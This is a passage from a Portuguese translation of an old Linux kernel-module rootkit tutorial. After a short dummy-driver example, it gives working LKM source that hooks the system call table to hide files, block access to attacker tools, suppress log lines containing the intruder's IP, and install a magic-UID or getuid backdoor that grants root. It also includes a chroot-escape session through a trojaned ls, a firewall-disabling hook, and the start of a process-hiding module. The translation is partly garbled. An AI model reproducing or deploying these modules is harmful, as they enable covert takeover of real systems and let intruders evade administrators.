===================================================================== int sprintf (char *buf, const char *fmt, ...); | int vsprintf (char *buf, const char *fmt, | funcoes para empacotar va_list args); | dados em strings ===================================================================== int request_module (const | diz ao kerneld que o kernel requer um certo char *name); | modulo (dando o nome o ID/nome generico) ====================================================================== int release_module (const char* name, | unloadar um modulo int waitflag); | ====================================================================== int delayed_release_module (const char *name); | unload atrasado ====================================================================== int cancel_release_module(const | cancela uma chamada do char *name); | delayed_release_module ====================================================================== Nota: Kernel 2.2 usa outro esquema para requisitar modulos. De uma olhada na parte V. 8. Criando seus proprios Devices O apendice A traz o utilitario TTY Hijacking, que usa um device para logar os resultados. Entao nos temos que olhar um exemplo bastante basico de um device driver. Veja o seguinte codigo(este eh um driver bastaaante basico, eu soh escrevi para demonstrar, ele implementa algumas operacoes...): #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include /*just a dummy for demonstration*/ static int driver_open(struct inode *i, struct file *f) { printk("<1>Open Function\n"); return 0; } /*register every function which will be provided by our driver*/ static struct file_operations fops = { NULL, /*lseek*/ NULL, /*read*/ NULL, /*write*/ NULL, /*readdir*/ NULL, /*select*/ NULL, /*ioctl*/ NULL, /*mmap*/ driver_open, /*open, take a look at my dummy open function*/ NULL, /*release*/ NULL /*fsync...*/ }; int init_module(void) { /*register driver with major 40 and the name driver*/ if(register_chrdev(40, "driver", &fops)) return -EIO; return 0; } void cleanup_module(void) { /*unregister our driver*/ unregister_chrdev(40, "driver"); } A mais mais mais importante funcao eh a register_chrdev() que registra nosso driver com o maior numero 40. Se vc quer acessar este driver, faca o seguinte: # mknode /dev/driver c 40 0 # insmod driver.o Depois disso voce pode acessar aquele device(mas eu nao implementei nenhuma funcao para issu). A estrutura file_operations traz todas funcoes(operacoes) que nosso driver ira trazer para o sistema. Como voce pode ver eu apenas implementei uma funcao bem basica apenas imprimindo alguma coisa. Eh claro quer voce pode implementar seus proprios devices de uma maneira bem facil no seu driver usando os metodos q citei. Apenas faca alguns "experimentos". Se voce logar algum dado(curso de chaves por exemplo) voce pode incluir um buffer no seu driver q exporta isso para a interface do device. II. Diversão & Lucro 1. Como interceptar Syscalls Agora nós começaremos a abusar dos esquemas de LKM. Normalmente são usados LKMs para estender o núcleo (especialmente os drivers de hardware). Nossos ' Hacks ' farao algo diferente, eles interceptarão systemcalls e os modificarão para mudar o modo que o sistema reage em certos comandos. O módulo seguinte faz com q isto seja impossível para qualquer usuário no sistema assumindo compromisso de criar diretórios. Isto é justo, um pouco demonstração para mostrar o modo q nós seguimos. #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; /*sys_call_table is exported, so we can access it*/ int (*orig_mkdir)(const char *path); /*the original systemcall*/ int hacked_mkdir(const char *path) { return 0; /*everything is ok, but he new systemcall does nothing*/ } int init_module(void) /*module setup*/ { orig_mkdir=sys_call_table[SYS_mkdir]; sys_call_table[SYS_mkdir]=hacked_mkdir; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_mkdir]=orig_mkdir; /*set mkdir syscall to the origal one*/ } Compile este módulo e o inicie(veja I.1). Tente fazer um diretório, não vai funcionar. Pq de devolver 0 (representando o OK) nós não adquirimos uma mensagem de erro. Depois de remover o módulo, fazer diretórios é novamente possível. Como você pode ver, nós só precisamos mudar a entrada correspondente em sys_call_table (veja I.2) por interceptar um systemcall de Kernel. A aproximação geral para interceptar um systemcall é esboçada na lista seguinte: - ache sua entrada de systemcall em sys_call_table [] (dê uma olhada em include/sys / syscall.h) - salve a entrada velha de sys_call_table[X] em um ponteiro de função (onde X representa o systemcallnumber que você quer interceptar) - salve o endereço do novo (hacked) systemcall que vc definiu fixando sys_call_table[X] para o endereço de função precisado Reconheca que eh muito util economizar o systemcall velho que funciona como ponteiro, porque você precisará disto em seu hacked para emular a chamada original. A primeira pergunta você tem que enfrentar quando esta escrevendo um ' Hack-LKM ' é: ' Qual systemcall eu deveria interceptar '. 2. Syscalls interessantes p/ Interceptar Talvez você não seja um deus de Kernel e você não conhece todo systemcall para toda função user space q uma aplicação ou comando pode usar. Assim eu lhe darei algumas sugestões para achar seu systemcall para obter controle em cima dele. a. Leia código fonte. Em sistemas como Linux você pode ter o código de fonte em quase qualquer programa q um usuário (admin) pode usar. Uma vez você achou uma função básica como dup, open, write,... vá para b b. Dê uma olhada em include/sys/syscall.h (veja I.2). Tente achar um systemcall diretamente correspondente (procura para dup - > você achará SYS_dup; procura para write - > você achará SYS_write;...). Se isto não funfa ir p/ c. c. Algumas chamadas como socket, send, receive,... é implementado por um systemcall - como eu disse antes. Dê uma olhada ao arquivo 'include' mencionado para systemcalls relacionado. Caso ñ se lembre toda função de C-lib é um systemcall! A maioria das funções é totalmente sem conexão a qualquer systemcalls! Hackers um pouco mais experiente deveriam dar uma olhada no systemcall que lista em I.2 que provê bastante informação. Deveria fikar claro que a administração de ID d usuario eh implementada pelos uid-systemcalls etc. Se você realmente quer estar seguro vc tb pode dar uma olhada nas fontes das library's e Kernel fontes. O maior problema eh um admin que escreve suas próprias aplicações por conferir integridade e segurança do sistema. O problema que existe nesses programas é a falta de código fonte. Nós não podemos dizer como este programa funciona exatamente e quais systemcalls nós temos que interceptar para esconder nossas ferramentas presentes. Pode ser até mesmo possível que ele introduza um LKM que esconde quais utensílios utiliza igual um systemcalls feito pelo hacker para conferir a segurança do sistema (os admins usam freqüentemente técnicas de hacker para defender o sistema deles...). Assim como nós fazemos. 2.1 Achando systemcalls interessantes (o strace aproximam) Digamos que você sabe q o programa do super-admin confera o sistema (isto pode ser feito de algum jeito, como TTY Hijacking (veja II.9 / Apêndice A), o único problema é que você precisa esconder seus feitos do programa do super-admin até aquele ponto..). Assim rode o programa (talvez você tem que ser root para executar isto) usando strace. # strace super_admin_proggy Isto lhe dará uma resposta realmente agradável de todo systemcall feito por aquele programa inclusive os systemcalls que podem ser adicionados pelo admin pelo LKM dele (eh possivel). Eu nao tenho um super-admin-proggy de amostra para lhe mostrar uma resposta, mas olhe a resposta pega por um 'strace whoami' : execve (/usr/bin/whoami ", [whoami "], [/ * 50 vars * /]) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40007000 mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 stat (/etc/ld.so.cache ", {st_mode=S_IFREG|0644, st_size=13363,...}) = 0 open("/etc/ld.so.cache ", O_RDONLY) = 3 mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000 close(3) = 0 stat (/etc/ld.so.preload ", 0xbffff780) = -1 ENOENT (No such file or directory) open("/lib/libc.so.5 ", O_RDONLY) = 3 read(3, \177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3 "..., 4096) = 4096 mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000 mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0) = 0x4000c000 mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x81000) = 0x4008e000 mmap(0x40094000, 204536, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000 close(3) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0 munmap(0x40008000, 13363) = 0 mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0 mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0 mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0 personality(PER_LINUX) = 0 geteuid () = 500 getuid () = 500 getgid () = 100 getegid () = 100 brk(0x804aa48) = 0x804aa48 brk(0x804b000) = 0x804b000 open("/usr/share/locale/locale.alias ", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=2005,...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40008000 Read(3," #nome de lugar pseudônimo base\n de dados #"..., 4096) = 2005 brk(0x804c000) = 0x804c000 read(3,"", 4096) = 0 close(3) = 0 munmap(0x40008000, 4096) = 0 open("/usr/share/i18n/locale.alias ", O_RDONLY) = -1 ENOENT (No such file or directory) open("/usr/share/locale/de_DE/LC_CTYPE ", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=10399,...}) = 0 mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000 close(3) = 0 geteuid () = 500 open("/etc/passwd ", O_RDONLY) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=1074,...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 read(3, root:x:0:0:root:/root:/bin/bash\n "..., 4096) = 1074 close(3) = 0 munmap(0x4000b000, 4096) = 0 fstat(1, {st_mode=S_IFREG|0644, st_size=2798,...}) = 0 mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000b000 write(1, r00t\n ", 5r00t, ) = 5 _exit(0) =? Isto eh uma lista muito agradável de todo o systamcalls feito pelo comando ' whoami ', não é? Há 4 systemcalls interessante para interceptar para manipular a produção de ' whoami ' geteuid () = 500 getuid () = 500 getgid () = 100 getegid () = 100 Dê uma olhada em II.6 para uma implementação daquele problema. Deste modo de programas de analysing também é muito importante dar uma olhada rápida em outras ferramentas standards. Eu espero que agora você possa achar qualquer systemcall que possa lhe ajudar a se esconder ou só para uma backdoor no sistema, ou tudo que que você quer. 3. Confundindo o kernel's System Table Em II.1 você viu como ter acesso a sys_call_table que é exportado pela kernel symbol table. Agora pense nisto... Nós podemos modificar qualquer item exportado (funções, estruturas, variáveis, por exemplo) tendo acesso dentro de nosso módulo. Qualquer coisa listada no /proc/ksyms pode ser corrompida. Lembre-se que nosso módulo não pode assumir compromisso de caminho ou canal, porque nós não exportamos nenhum símbolo. Aqui esta um pedacinhu de meu arquivo /proc/ksyms, soh para lhe mostrar o que você pode modificar de fato. ... 001bf1dc ppp_register_compressor 001bf23c ppp_unregister_compressor 001e7a10 ppp_crc16_table 001b9cec slhc_init 001b9ebc slhc_free 001baa20 slhc_remember 001b9f6c slhc_compress 001ba5dc slhc_uncompress 001babbc slhc_toss 001a79f4 register_serial 001a7b40 unregister_serial 00109cec dump_thread 00109c98 dump_fpu 001c0c90 __do_delay 001c0c60 down_failed 001c0c80 down_failed_interruptible 001c0c70 up_wakeup 001390dc sock_register 00139110 sock_unregister 0013a390 memcpy_fromiovec 001393c8 sock_setsockopt 00139640 sock_getsockopt 001398c8 sk_alloc 001398f8 sk_free 00137b88 sock_wake_async 00139a70 sock_alloc_send_skb 0013a408 skb_recv_datagram 0013a580 skb_free_datagram 0013a5cc skb_copy_datagram 0013a60c skb_copy_datagram_iovec 0013a62c datagram_select 00141480 inet_add_protocol 001414c0 inet_del_protocol 001ddd18 rarp_ioctl_hook 001bade4 init_etherdev 00140904 ip_rt_route 001408e4 ip_rt_dev 00150b84 icmp_send 00143750 ip_options_compile 001408c0 ip_rt_put 0014faa0 arp_send 0014f5ac arp_bind_cache 001dd3cc ip_id_count 0014445c ip_send_check 00142bc0 ip_forward 001dd3c4 sysctl_ip_forward 0013a994 register_netdevice_notifier 0013a9c8 unregister_netdevice_notifier 0013ce00 register_net_alias_type 0013ce4c unregister_net_alias_type 001bb208 register_netdev 001bb2e0 unregister_netdev 001bb090 ether_setup 0013d1c0 eth_type_trans 0013d318 eth_copy_and_sum 0014f164 arp_query 00139d84 alloc_skb 00139c90 kfree_skb 00139f20 skb_clone 0013a1d0 dev_alloc_skb 0013a184 dev_kfree_skb 0013a14c skb_device_unlock 0013ac20 netif_rx 0013ae0c dev_tint 001e6ea0 irq2dev_map 0013a7a8 dev_add_pack 0013a7e8 dev_remove_pack 0013a840 dev_get 0013b704 dev_ioctl 0013abfc dev_queue_xmit 001e79a0 dev_base 0013a8dc dev_close 0013ba40 dev_mc_add 0014f3c8 arp_find 001b05d8 n_tty_ioctl 001a7ccc tty_register_ldisc 0012c8dc kill_fasync 0014f164 arp_query 00155ff8 register_ip_masq_app 0015605c unregister_ip_masq_app 00156764 ip_masq_skb_replace 00154e30 ip_masq_new 00154e64 ip_masq_set_expire 001ddf80 ip_masq_free_ports 001ddfdc ip_masq_expire 001548f0 ip_masq_out_get_2 001391e8 register_firewall 00139258 unregister_firewall 00139318 call_in_firewall 0013935c call_out_firewall 001392d4 call_fw_firewall ... Veja a funcao call_in_firewall logo acima, esta é uma função usada pela administração de firewall no Kernel. O que aconteceria se nós substituímos esta função com um falso? Dê uma olhada no LKM seguinte: #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include /*get the exported function*/ extern int *call_in_firewall; /*our nonsense call_in_firewall*/ int new_call_in_firewall() { return 0; } int init_module(void) /*module setup*/ { call_in_firewall=new_call_in_firewall; return 0; } void cleanup_module(void) /*module shutdown*/ { } Compile e carregue este LKM e de um 'ipfwadm -I -a deny'. Depois disto faça um ' ping 127.0.0.1 ', seu Kernel produzirá uma bela mensagem de erro, porque a função chamada (call_in_firewall(...)) foi substituída por um falso (você pode saltar a instalação de firewall neste exemplo). Este é um modo bastante brutal de matar um símbolo exportado. Você também poderia desmontar (usando gdb) um certo símbolo e modificar certos bytes que mudariam o funcionamento daquele símbolo. Imagine q uma construcao IF THEN fosse usada em uma função exportada. Imagine desmontar esta função e procurar comandos como JNZ, JNE,... Deste modo você poderia consertar itens importantes. Claro que, você pôde ver as funções no Kernel / module sources, mas quando se trata de símbolos você não pode adquirir a fonte para olhar porque você só adquiriu um módulo binário. Aqui o desmontar(disassembling) é bastante interessante. 4. Relativo a Filesystem Hacks A característica mais importante no LKM hacking é o eskema para esconder alguns itens (suas façanhas, sniffer (+logs), e assim por diante) no filesystem local. 4.1 Como Esconder Arquivos Imagine como um admin achará seus arquivos: Ele usará ' ls ' e vê tudo. Para akeles que não conhecem isto, strace com ls q mostrará p/ você qual o systemcall usado para adquirir uma listagem de diretório é: int sys_getdents (unsigned int fd, struct dirent *dirent, unsigned int count); Assim nós sabemos onde atakar. No seguinte espetáculo de pedacos de código os systemcalls de hacked_getdents foram adaptados de AFHRM (de Michal Zalewski). Este módulo pode esconder qualquer arquivo de um ls e todo programa que usa systemcall de getdents. #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_getdents) (uint, struct dirent *, uint); int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; char hide[]="ourtool"; /*the file to hide*/ /*call original getdents -> result is saved in tmp*/ tmp = (*orig_getdents) (fd, dirp, count); /*directory cache handling*/ /*this must be checked because it could be possible that a former getdents put the results into the task process structure's dcache*/ #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif /*dinode is the inode of the required directory*/ if (tmp > 0) { /*dirp2 is a new dirent structure*/ dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); /*copy original dirent structure to dirp2*/ memcpy_fromfs(dirp2, dirp, tmp); /*dirp3 points to dirp2*/ dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; /*check if current filename is the name of the file we want to hide*/ if (strstr((char *) &(dirp3->d_name), (char *) &hide) != NULL) { /*modify dirent struct if necessary*/ if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0) { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } int init_module(void) /*module setup*/ { orig_getdents=sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents]=hacked_getdents; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getdents]=orig_getdents; } Para novatos: leia os comentários e use seu cérebro por 10 mins. Depois disso continue lendo. Este Hack é realmente útil. Mas lembre-se que o admin pode ver seu arquivo tendo acesso a isto diretamente. Assim um 'cat nossaferramenta' ou 'ls nossaferramenta' lhe mostrará nosso arquivo. Nunca use qualquer nome trivial para suas ferramentas. Como sniffer, mountdxpl.c,.... Claro que existem maneiras melhores de tentar impedir um admin de ler nossos arquivos, continue lendo. 4.2 Como esconder os conteúdos de arquivo (totalmente) Eu nunca vi uma implementação que realmente faca isto :). Claro que muita gente gosta do FHRM por Michal Zalewski para se basear em seus LKMs, que controla os conteúdos e apagua funções mas realmente nao esconde o conteúdo. Eu suponho existem muitas pessoas que usam estes métodos e de fato e gostam disto, mas ninguém escreveu isto, assim como eu faço. Deveria estar claro que há muitos modos de fazer isto. O primeiro modo é muito simples, Apenas interceptar um systemcall aberto que confere se filename é a 'nossa ferramenta'. Nesse caso negue qualquer open-attempt , assim ninguem podera ler, escrever, ou tudo q eh possivel de se fazer. Implementemos este LKM: #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_open)(const char *pathname, int flag, mode_t mode); int hacked_open(const char *pathname, int flag, mode_t mode) { char *kernel_pathname; char hide[]="ourtool"; /*this is old stuff -> transfer to kernel space*/ kernel_pathname = (char*) kmalloc(256, GFP_KERNEL); memcpy_fromfs(kernel_pathname, pathname, 255); if (strstr(kernel_pathname, (char*)&hide ) != NULL) { kfree(kernel_pathname); /*return error code for 'file does not exist'*/ return -ENOENT; } else { kfree(kernel_pathname); /*everything ok, it is not our tool*/ return orig_open(pathname, flag, mode); } } int init_module(void) /*module setup*/ { orig_open=sys_call_table[SYS_open]; sys_call_table[SYS_open]=hacked_open; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_open]=orig_open; } Isto funciona muito bem, issu faz com q qualquer um q tente ter acesso aos nossos arquivos, ache q eles nao existem. Mas como fazer entaun para nós termos acesso a esses arquivos. Bem há muitos modos... - Implemente um magic-string - Implemente uid ou gid check (requer ter criado uma certa conta) - Implemente um cheque de tempo - ... Há milhares de possibilidades e eh tudo muito fácil de se implementar, assim eu deixo isto como um exercício para o leitor. :) 4.3 Como esconder certas partes do arquivo (prototico de implementação) Bem, o método mostrado em 3.2 é muito útil para nossas próprias ferramentas e Logs. Mas nao seria interessante modificar admin e outros arquivos de usuário tb? Imagine você q quer controlar /var/log/messages para entradas que contenham o seu ip ou dns. Todos nós conhecemos milhares de backdoors que escondem nossa identidade de qualquer logfile importante. Mas isso quando se trata de um LKM q simplesmente filtra toda entrada de dados no arkivo. Se este arkivo contém qualquer dado que comprometa nossa identidade (IP, por exemplo) nós negamos que isso escreva (nós simplesmente pularemos isso) A implementação seguinte é apenas outro (!!) protótipo básico (!!) LKM, só p/ mostrar isto. Eu nunca vi isto antes, mas como em 3.2 pode haver algumas pessoas que usam isto ha anos. #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_write)(unsigned int fd, char *buf, unsigned int count); int hacked_write(unsigned int fd, char *buf, unsigned int count) { char *kernel_buf; char hide[]="127.0.0.1"; /*the IP address we want to hide*/ kernel_buf = (char*) kmalloc(1000, GFP_KERNEL); memcpy_fromfs(kernel_buf, buf, 999); if (strstr(kernel_buf, (char*)&hide ) != NULL) { kfree(kernel_buf); /*say the program, we have written 1 byte*/ return 1; } else { kfree(kernel_buf); return orig_write(fd, buf, count); } } int init_module(void) /*module setup*/ { orig_write=sys_call_table[SYS_write]; sys_call_table[SYS_write]=hacked_write; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_write]=orig_write; } Este LKM tem várias desvantagens, não confere o destino de onde isto eh usado (pode ser conferido por fd; prossiga lendo para uma amostra). Isto significa q até mesmo um 'echo'127.0.0.1'' será imprimido. Você também pode modificar a string que deveria ser escrita, de forma que isto mostre realmente um endereço IP de alguém q você "gosta"... Mas a idéia geral deve ter fikado clara. 4.4 Como redirecionar operações de monitores de arkivos Esta idéia é velha, e foi implementada primeiro por Michal Zalewski em AFHRM. Eu não mostrarei nenhum código aqui, porque é muito fácil de se implementar (depois de lhe mostrar II.4.3/II.4.2). Lah são muitas coisas que você pode monitorar através de redirecionamento de eventos do filesystem: - alguém escreve a um arquivo -> cópia os conteúdos para outro arquivo => isso pode ser feito com sys_write(...) redirection - alguém pôde ler um arquivo de sensitve -> monitor de arkivos que lê de certos arquivos => isso pode ser feito com sys_read(...) redirection - alguém abre um arquivo -> nós podemos monitorar o sistema inteiro para tais eventos => intercept sys_open(...) e escreve arquivos abertos a um logfile; este é um modo AFHRM q monitora os arquivos de um sistema (veja IV.3 para fonte) - vínculo / unlink eventos -> monitora tudo q o vínculo criou => intercept sys_link(...) (veja IV.3 para fonte) - mencione novamente eventos -> monitora todo arquivo menciona novamente evento => intercept sys_rename(...) (veja IV.4 para fonte) - ... Estes são pontos muito interessantes (especialmente p/ admins) porque você pode monitorar um sistema inteiro para mudanças de arquivo. Na minha opinião seria também interessante monitorar arquivo / diretório criações que usam comandos parecidos com 'touch' e 'mkdir'. O comando 'touch' (por exemplo) não usa open para o processo de criação; um strace nos mostra para o seguinte que lista (excerto): ... stat (ourtool ", 0xbffff798) = -1 ENOENT (No such file or directory) creat (ourtool ", 0666) = 3 close(3) = 0 _exit(0) =? Como você pode ver os usos de sistemas o systemcall sys_creat(..) criar arquivos novos. Eu acho que não é necessário apresentar um source, pq esta tarefa é muito trivial e só intercepta sys_creat(...) e escreve todo filename no logfile com printk(...). Este é o jeito em q o AFHRM loga qualquer evento importante. 4.5 Como evitar qualquer problema de dono de arquivo Este Hack não só é relacionado a filesystem , também é muito importante para problemas de permissão gerais. Tenha uma suposição que systemcall para intercept. Phrack (plaguez) sugestiona enganchando sys_setuid(...) com um magic UID. Isto significa que sempre que um setuid é usado com esta magic UID, o módulo fixará o UIDs para 0 (SuperUser). Vejamos a implementacao(E ele mostrará só o systemcall hacked_setuid): ... int hacked_setuid(uid_t uid) { int tmp; /*do we have the magic UID (defined in the LKM somewhere before*/ if (uid == MAGICUID) { /*if so set all UIDs to 0 (SuperUser)*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*o_setuid) (uid); return tmp; } ... Acho que o truque seguinte também pode ser muito útil em certas situaçoes. Imagine a situação seguinte: Você dá um trojan ruim para um (muito tolo) admin; este trojan instala o LKM seguinte naquele sistema [e não implementou características de ocultamento , só um protótipo de minha idéia]: #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; int (*orig_getuid)(); int hacked_getuid() { int tmp; /*check for our UID*/ if (current->uid=500) { /*if its our UID -> this means we log in -> give us a rootshell*/ current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*orig_getuid) (); return tmp; } int init_module(void) /*module setup*/ { orig_getuid=sys_call_table[SYS_getuid]; sys_call_table[SYS_getuid]=hacked_getuid; return 0; } void cleanup_module(void) /*module shutdown*/ { sys_call_table[SYS_getuid]=orig_getuid; } Se este LKM está carregado em um sistema que nós somos só um usuário normal, No login nos darão um rootshell agradável (o processo atual tem SuperUser). 4.6 Como fazer um unaccessible hacker-tools-directory Para hackers é freqüentemente importante fazer o diretório, eles usam para as ferramentas deles (hackers avançados não usam o filesystem local regular para armazenar os dados deles). Usando a aproximação de getdents nos ajuda a esconder arkivos e diretorios. A aproximação aberta nos ajudou a fazer nosso unaccessible de arquivos. Mas como fazer nosso unaccessible de diretório? Bem - como sempre - dê uma olhada em include/sys/syscall.h; você deveria poder entender SYS_chdir como o systemcall nós precisamos (para pessoas que não acreditam nisto só strace o comando... ' cd ' ). Desta vez eu não lhe darei nenhuma fonte, porque você precisa entao interceptar sys_mkdir, e fará uma comparação de string. Depois disto você devera fazer uma ligação regular (se não é nosso diretório) ou retorno ENOTDIR (estando para ' lá não existe nenhum diretório com aquele nome '). Agora suas ferramentas realmente deveriam ser escondidas de admins de intermédio (avançados e paranóicos esquadrinharão o HDD a seu mais baixo nível, mas quem é paranóico hoje além de nós?!). Também deveria ser possível derrotar esta esquadrinhacao HDD , porque tudo está baseado em systemcalls. 4.7 Como mudar Ambientes de CHROOT Esta idéia é totalmente levada de HISPAHACK (hispahack.ccc.de). Eles publicaram um texto realmente bom sobre aquele tema (' Restringindo um FTP restringido '). Eu explicarei a idéia deles em algumas pequenas palavras. Por favor note que o exemplo seguinte não funcionara mais, é bastante velho (veja versão de wu-ftpd). Eu entao estou mostrando isso para explicar como você pode escapar de ambientes de chroot que usam LKMs. O texto seguinte está baseado em software velho (wuftpd) assim não tente usar isto em versões de wu-ftpd mais novas, não funcionara. O documentos de HISPAHACK eh baseado na idéia de um usuário FTP restringido considerando que ele tem o seguinte plano de permissão: drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/ drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/ Este enredo (o qual você pode achar freqüentemente) o usuário (nós) pode mencionar novamente o diretório bin, porque está em nosso diretório Home. Antes de fazer qualquer coisa assim damos uma olhada em quem funciona em wu.ftpd (o servidor que eles usaram para explicação, mas a idéia é mais geral). Se nós emitimos um comando LIST.. / serão executados bin/ls com UID=0 (o uid de EUID=user). Antes de q a execução seja feita, para que wu.ftpd realmente tenha terminado usará chroot(...) para fixar o diretório de raiz de processo de certo modo nós somos restringidos ao diretório Home. Isto nos impede de ter acesso outras partes do filesystem por nosso FTP considere (restringido). Agora imagine, nós poderíamos substituir /bin/ls com outro programa, este programa seria executado como root (uid=0). Mas o que ganharíamos nós, nós não podemos ter acesso o sistema inteiro por causa do chroot(...) chamada. Este é o ponto onde nós precisamos de um LKM que nos ajuda. Nós removemos... / bin/ls com um programa que carrega um LKM provido por nós. Este módulo interceptará o systemcall sys_chroot(...) . Deve ser mudado de modo q ninguem vai mais nos restrinjir. Isto significa q nós só precisamos estar seguros que sys_chroot(...) não está fazendo nada. HISPAHACK usou mesmo um modo radical, eles entao modificaram sys_chroot(...) de certo modo q só devolve 0 e nada mais. Depois de carregar este LKM você ve um processo novo q pode desovar sem ser mais restringido. Isto significa q você pode ter acesso o sistema inteiro com uid=0. O seguinte exemplo que lista espetáculos 'Hack-Session' publicado por HISPAHACK: thx:~# ftp ftp> o ilm Connected to ilm. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. Name (ilm:root): user 331 Password required for user. Password: 230 User user logged in.  Access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 11:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete. ftp> cd .. 250 CWD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 21:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete. ftp ls bin/ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. ---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls 226 Transfer complete. ftp> ren bin bin.old 350 File exists, ready for destination name 250 RNTO command successful. ftp> mkdir bin 257 MKD command successful. ftp> cd bin 250 CWD command successful. ftp> put ls 226 Transfer complete. ftp> put insmod 226 Transfer complete. ftp> put chr.o 226 Transfer complete. ftp> chmod 555 ls 200 CHMOD command successful. ftp> chmod 555 insmod 200 CHMOD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. UID: 0 EUID: 1002 Cambiando EUID... UID: 0 EUID: 0 Cargando modulo chroot... Modulo cargado. 226 Transfer complete. ftp> bye 221 Goodbye. thx:~# --> agora nós começamos uma sessão de FTP nova sem ser restringido (LKM está carregado assim sys_chroot(...) é derrotado. Assim faca o que você quer (carregue passwd...) No Apêndice você achará o código fonte completo para o ls novo e o módulo. 5. Relacionado a Process Hacks Longe disso o filesystem é totalmente controlado por nós. Nós discutimos o mais interessante 'Hacks'. Agora esta hora de mudar a direção. Nós precisamos discutir LKMs que confundem comandos usando ' ps ' mostrando processos. 5.1 Como esconder qualquer processo Eh extremamente importante nós sempre escondermos um processo do admin. Imagine um sniffer, cracker (normalmente não deveria ser feito em sistemas Hackeados), ... visto por um admin quando usando ' ps '. Talvez engane se vc trocar o nome do sniffer por algo diferente, e esperando q o admin seja bastante tolo, mas acorde, estamos no século 21. Nós queremos eh esconder totalmente o processo. Vejamos uma implementação de plaguez (com algumas mudanças muito secundárias): #define MODULE #define __KERNEL__ #include #include #include #include #include #include #include #include #include #include #include #include #include #include extern void* sys_call_table[]; /*process name we want to hide*/ char mtroj[] = "my_evil_sniffer"; int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count); /*convert a string to number*/ int myatoi(char *str) { int res = 0; 